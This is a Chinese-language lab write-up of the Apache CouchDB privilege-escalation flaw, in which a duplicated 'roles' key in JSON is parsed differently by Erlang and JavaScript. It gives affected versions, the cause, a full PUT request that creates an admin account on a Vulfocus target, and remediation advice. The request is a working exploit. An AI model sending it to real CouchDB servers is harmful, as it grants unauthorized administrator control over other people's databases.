一、漏洞概述
Apache CouchDB是一個開源的NoSQL資料庫,專注于易用性和成為“完全擁抱web的資料庫”,它是一個使用JSON作為資料存盤格式,javascript作為查詢語言,MapReduce和HTTP作為API的NoSQL資料庫,
二、影響版本
- 小于 1.7.0 以及小于 2.1.1
三、漏洞原理
1.Erlang和JavaScript,對JSON決議方式的不同,導致陳述句執行產生差異性,這個漏洞可以讓任意用戶創建管理員,屬于垂直權限繞過漏洞,——https://www.anquanke.com/post/id/87256
2.那就意味著JavaScript在檢測時,檢測我們創建的用戶“角色=0”,無角色,也就不存在權限,所以沒有危害,系統判定為安全,繞過了檢測,接下來在CouchDB的Erlang部分實作身份驗證和授權時,jiffy實作的時候,getter函式只回傳第一個值也就是"roles": ["_admin"],所以創建出了具有admin權限的賬戶,——https://blog.csdn.net/qq_45813980/article/details/118654097
3.擴展:PUT請求
四、漏洞復現環境
Kali Linux + Vulfocus
滲透機:Kali Linux
靶機:Vulfocus
五、實驗步驟
1.開啟鏡像環境,訪問頁面


2.構造PUT包,自己設定一個管理員賬號登錄
1 PUT /_users/org.couchdb.user:wavesky HTTP/1.1 2 Host: 192.168.117.131:27483/ 3 Accept: / 4 Accept-Language: en 5 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) 6 Connection: close 7 Content-Type: application/json 8 Content-Length: 101 9 10 { 11 "type": "user", 12 "name": "wavesky", 13 "roles": ["_admin"], 14 "roles":[], 15 "password": "wavesky" 16 }

3.訪問http://192.168.117.131:27483/_utils,可以看到_user多了一個剛定義的擁有管理員權限的用戶


六、修復建議
1.公網Apache CouchDB實體
建議升級到最新版本, 使用ECS安全組或防火墻策略,限制CouchDB埠暴露在互聯網,設定精細化網路訪問控制, 開啟認證功能,不要使用默認賬號口令,配置自定義賬號和強口令,防止暴力破解攻擊事件,
2.內網Apache CouchDB實體
使用ECS安全組或防火墻策略,限制CouchDB埠暴露在互聯網,設定精細化網路訪問控制, 開啟認證功能,不要使用默認賬號口令,配置自定義賬號和強口令,防止暴力破解攻擊事件,
——https://huskypower.blog.csdn.net/article/details/120880072?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-120880072-blog-121767180.pc_relevant_paycolumn_v3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-120880072-blog-121767180.pc_relevant_paycolumn_v3&utm_relevant_index=2
3.加入dedupe_keys欄位用于對重復鍵的標識,重寫make_object方法,使得jiffy決議JSON的方法和JavaScript一致,——https://www.anquanke.com/post/id/87256
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/492548.html
標籤:其他
